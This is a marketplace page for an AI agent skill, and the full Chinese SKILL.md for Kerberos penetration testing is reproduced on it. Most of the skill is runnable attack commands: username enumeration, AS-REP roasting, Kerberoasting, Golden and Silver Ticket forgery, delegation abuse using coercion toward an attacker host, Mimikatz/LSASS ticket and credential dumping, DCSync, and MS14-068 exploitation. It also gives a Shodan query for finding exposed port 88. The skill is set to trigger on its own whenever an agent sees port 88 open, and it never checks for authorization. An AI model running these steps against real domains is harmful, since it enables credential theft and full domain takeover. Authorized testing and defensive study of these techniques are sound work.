Kerberos Pentesting logo

Kerberos Pentesting

OrganizationPopular
wgpsec
kerberos-pentesting

Kerberos 认证服务(88 端口)渗透测试方法论。涵盖 Kerberos 服务发现、用户名枚举、AS-REP Roasting、Kerberoasting、票据伪造(Golden/Silver Ticket)、委派攻击、Pass-the-Ticket。 当 Agent 扫描发现 88 端口开放、需要攻击 Kerberos 认证、提取服务票据、或进行票据伪造时,触发此 Skill。

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namekerberos-pentesting
Stars
1.8K
Forks
247
Bundled files
1
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Kerberos Pentesting AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/network-service/kerberos-pentesting
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/exploit/network-service/kerberos-pentesting .claude/skills/kerberos-pentesting
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Kerberos Pentesting in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Kerberos Pentesting on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Kerberos Pentesting is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Kerberos 渗透测试方法论 (88)

深入参考


整体决策树

发现 88 端口开放 (Kerberos)
├─ Phase 1: 服务发现
│   ├─ 确认 Kerberos 服务版本
│   ├─ 确认域名 / Realm
│   └─ 时钟同步检查
│       ├─ 偏差 > 5 分钟 -> 先同步时钟
│       └─ 已同步 -> 继续
├─ Phase 2: 用户名枚举
│   ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户
│   └─ 有用户列表 -> 进入 Phase 3
├─ Phase 3: AS-REP Roasting
│   ├─ 查找未设置预认证的账户
│   │   ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解
│   │   └─ 未找到 -> 进入 Phase 4
├─ Phase 4: Kerberoasting
│   ├─ 需要有效域凭据
│   ├─ 查找注册 SPN 的服务账户
│   │   ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解
│   │   └─ 未找到 -> 进入 Phase 5
├─ Phase 5: 票据伪造
│   ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT)
│   ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS)
│   └─ 无足够材料 -> 进入 Phase 6
├─ Phase 6: 委派攻击
│   ├─ 非约束委派 -> 提取 TGT
│   ├─ 约束委派 -> S4U 协议滥用
│   └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity
└─ Phase 7: Pass-the-Ticket
    ├─ 导入票据到当前会话
    └─ 利用票据访问目标服务

Phase 1: 服务发现

1.1 端口扫描与服务识别

bash
# Nmap Kerberos 服务探测
nmap -sV -sC -p 88 <IP>

# Nmap Kerberos 枚举脚本
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>

1.2 域名与 Realm 确认

确认 Kerberos Realm
├─ DNS 查询 SRV 记录
│   └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL
├─ 从 SMB 服务获取域名
│   └─ crackmapexec smb <IP>
└─ 从 LDAP 获取 Realm
    └─ ldapsearch -x -h <IP> -s base namingContexts

1.3 环境准备 (时钟同步与 krb5.conf)

bash
# 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'

# 生成 krb5.conf (netexec)
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf

# 手动 krb5.conf 最小配置
cat > /etc/krb5.conf << 'CONF'
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc.domain.local
        admin_server = dc.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
CONF

关键判断:

  • 时钟偏差过大 -> 所有 Kerberos 操作都会失败,必须先同步
  • /etc/hosts 必须正确解析 DC 的 FQDN -> SPN 不匹配会导致 GSSAPI 失败
  • NTLM 被禁用时 -> SMB/WinRM 工具需加 -k 参数强制 Kerberos 认证

Phase 2: 用户名枚举

2.1 枚举决策树

用户名枚举 (无需凭据)
├─ Kerbrute (推荐,速度快,日志低)
│   ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt
│   └─ 原理: 发送 AS-REQ,根据响应区分有效/无效用户
│       ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证)
│       ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用
│       └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在
├─ Nmap 脚本
│   └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP>
└─ Metasploit
    └─ auxiliary/gather/kerberos_enumusers
        ├─ set DOMAIN DOMAIN.LOCAL
        ├─ set RHOSTS <DC_IP>
        └─ set USER_FILE users.txt

2.2 常用用户名字典

bash
# 内置字典
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/dirb/others/names.txt

# 从 OSINT 生成用户名
# 格式: firstname.lastname / f.lastname / firstnamelastname

Phase 3: AS-REP Roasting

3.1 攻击原理

当用户账户设置了 DONT_REQUIRE_PREAUTH 标志时,可以在不知道密码的情况下请求其 AS-REP 消息,其中包含可离线破解的加密数据。

3.2 攻击决策树

AS-REP Roasting
├─ 有域凭据
│   ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP>
│   ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))
│   └─ BloodHound 标记: "Do not require Kerberos preauthentication"
├─ 无域凭据
│   └─ 对已枚举用户列表逐一尝试
│       └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
└─ 获得哈希后 -> 离线破解
    ├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt
    └─ john --wordlist=wordlist.txt asrep_hashes.txt

3.3 Impacket GetNPUsers

bash
# 已知用户列表,无需密码
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt

# 有凭据,自动查找所有易受攻击用户
GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt

3.4 Rubeus (Windows 环境)

powershell
# 查找并攻击所有 AS-REP Roastable 用户
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# 指定用户
Rubeus.exe asreproast /user:targetuser /format:hashcat

Phase 4: Kerberoasting

4.1 攻击原理

任何经过认证的域用户都可以请求注册了 SPN (Service Principal Name) 的服务账户的 TGS 票据,该票据使用服务账户的 NTLM 哈希加密,可离线破解。

4.2 攻击决策树

Kerberoasting (需要有效域凭据)
├─ 查找注册 SPN 的账户
│   ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│   ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512))
│   └─ PowerView: Get-DomainUser -SPN
├─ 请求 TGS 票据
│   ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt
│   └─ Rubeus.exe kerberoast /outfile:tgs.txt
├─ 优先攻击目标
│   ├─ 高权限服务账户 (Domain Admins / 管理员组成员)
│   ├─ RC4 加密的票据 (更易破解)
│   │   └─ Rubeus.exe kerberoast /rc4opsec
│   └─ 密码从未更改的账户 (pwdLastSet 很久以前)
└─ 离线破解
    ├─ hashcat -m 13100 tgs.txt wordlist.txt
    └─ john --wordlist=wordlist.txt tgs.txt

4.3 Impacket GetUserSPNs

bash
# 列出所有 SPN 账户
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>

# 请求 TGS 并保存哈希
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt

# 使用 NTLM 哈希认证
GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request

4.4 Targeted Kerberoasting (无 SPN 时)

如果目标用户无 SPN 但你有写 SPN 的权限
├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser
├─ 请求 TGS: GetUserSPNs.py ...
├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser
└─ 注意: 需要 GenericAll/GenericWrite 权限

Phase 5: 票据伪造

5.1 Golden Ticket (伪造 TGT)

前提:拥有 krbtgt 账户的 NTLM 哈希(通常通过 DCSync 或 NTDS.dit 获取)

Golden Ticket 攻击流程
├─ 收集信息
│   ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py
│   ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt
│   └─ 域名: DOMAIN.LOCAL
├─ 生成票据
│   ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator
│   └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt
├─ 使用票据
│   ├─ export KRB5CCNAME=Administrator.ccache
│   ├─ psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
│   └─ secretsdump.py -k -no-pass dc.domain.local
└─ 特性
    ├─ 有效期: 默认 10 年
    ├─ 可伪造任意用户 (包括不存在的用户)
    └─ 跨域: 需要父域 krbtgt 哈希

5.2 Silver Ticket (伪造 TGS)

前提:拥有目标服务账户的 NTLM 哈希

Silver Ticket 攻击流程
├─ 收集信息
│   ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希)
│   ├─ 目标 SPN (例如 CIFS/dc.domain.local)
│   └─ 域 SID
├─ 生成票据
│   ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator
│   └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt
├─ 常见服务 SPN 对照
│   ├─ CIFS -> 文件共享 (SMB)
│   ├─ HTTP -> Web 服务 / WinRM (WSMAN)
│   ├─ LDAP -> LDAP 查询 / DCSync
│   ├─ HOST -> 计划任务 / PsExec
│   └─ MSSQLSvc -> MSSQL 数据库
└─ 特性
    ├─ 不经过 KDC 验证 -> 更隐蔽
    ├─ 仅对特定服务有效
    └─ 机器账户密码变更后失效 (默认 30 天轮换)

Phase 6: 委派攻击

6.1 委派类型决策树

委派攻击
├─ 非约束委派 (Unconstrained Delegation)
│   ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288)
│   │   └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│   ├─ 攻击: 诱使高权限用户连接到受控主机
│   │   ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST>
│   │   └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP>
│   └─ 提取: 从内存提取转发的 TGT
│       └─ Rubeus.exe monitor /interval:5 /nowrap
├─ 约束委派 (Constrained Delegation)
│   ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性
│   │   └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
│   ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy
│   │   ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP>
│   │   └─ export KRB5CCNAME=Administrator.ccache
│   └─ 利用: 使用获得的票据访问目标服务
└─ 基于资源的约束委派 (RBCD)
    ├─ 前提: 对目标有 GenericWrite / WriteDacl 权限
    ├─ 攻击流程
    │   ├─ 1) 创建或控制一个机器账户 (addcomputer.py)
    │   ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
    │   │   └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP>
    │   ├─ 3) S4U 获取票据
    │   │   └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP>
    │   └─ 4) 使用票据
    │       └─ export KRB5CCNAME=Administrator.ccache
    └─ 清理: 移除 RBCD 配置
        └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP>

Phase 7: Pass-the-Ticket

7.1 票据操作

Pass-the-Ticket
├─ 获取票据
│   ├─ 导出当前会话票据 (Windows)
│   │   ├─ Mimikatz: sekurlsa::tickets /export
│   │   └─ Rubeus.exe dump /nowrap
│   ├─ 从 LSASS 提取
│   │   └─ Mimikatz: sekurlsa::logonpasswords
│   └─ 从 ccache 文件 (Linux)
│       └─ 默认位置: /tmp/krb5cc_<UID>
├─ 导入票据
│   ├─ Linux
│   │   └─ export KRB5CCNAME=/path/to/ticket.ccache
│   ├─ Windows
│   │   ├─ Mimikatz: kerberos::ptt <ticket.kirbi>
│   │   └─ Rubeus.exe ptt /ticket:<base64_ticket>
│   └─ 格式转换
│       ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache
│       └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi
├─ 使用票据访问服务
│   ├─ psexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│   ├─ smbclient --kerberos //target.domain.local/C$
│   ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local
│   └─ netexec smb target.domain.local -k
└─ 验证当前票据
    ├─ Linux: klist
    └─ Windows: klist (系统命令)

7.2 Kerberos 认证使用 SMB 工具

bash
# 获取 TGT
kinit <user>
klist

# netexec / crackmapexec Kerberos 认证
netexec smb <dc.fqdn> -k

# Impacket 工具使用缓存票据 (-k -no-pass)
psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local
secretsdump.py -k -no-pass dc.domain.local

# SSH GSSAPI 单点登录
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>

已知漏洞

MS14-068 (CVE-2014-6324)

MS14-068 — PAC 伪造提权
├─ 影响: 普通域用户可伪造为域管理员
├─ 检测: 未打补丁的 Windows Server 2003-2012R2
├─ 利用
│   ├─ pykek: python ms14-068.py -u user@DOMAIN.LOCAL -p password -s <USER_SID> -d <DC_IP>
│   └─ goldenPac.py DOMAIN.LOCAL/user:password@dc.domain.local
└─ 修复: KB3011780 补丁

Shodan 搜索

port:88 kerberos

故障排除

错误信息原因解决方案
KRB_AP_ERR_SKEW时钟偏差过大sudo ntpdate <dc.fqdn>
KDC_ERR_C_PRINCIPAL_UNKNOWN用户不存在检查用户名和 Realm
KDC_ERR_PREAUTH_FAILED密码错误检查凭据
Server not found in Kerberos databaseSPN 不匹配检查 /etc/hosts 和 FQDN
STATUS_NOT_SUPPORTEDNTLM 被禁用添加 -k 参数使用 Kerberos
KRB_ERR_RESPONSE_TOO_BIGUDP 响应过大配置 krb5.conf 使用 TCP: udp_preference_limit = 1

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Kerberos Pentesting AI skill do?

Kerberos 认证服务(88 端口)渗透测试方法论。涵盖 Kerberos 服务发现、用户名枚举、AS-REP Roasting、Kerberoasting、票据伪造(Golden/Silver Ticket)、委派攻击、Pass-the-Ticket。 当 Agent 扫描发现 88 端口开放、需要攻击 Kerberos 认证、提取服务票据、或进行票据伪造时,触发此 Skill。

Why use Kerberos Pentesting on TypingMind?

Because you install it once and use it with any model. Kerberos Pentesting is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Kerberos Pentesting in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/exploit/network-service/kerberos-pentesting. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Kerberos Pentesting?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Kerberos Pentesting?

As many as you like. As long as a model supports skills, you can use Kerberos Pentesting with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Kerberos Pentesting AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇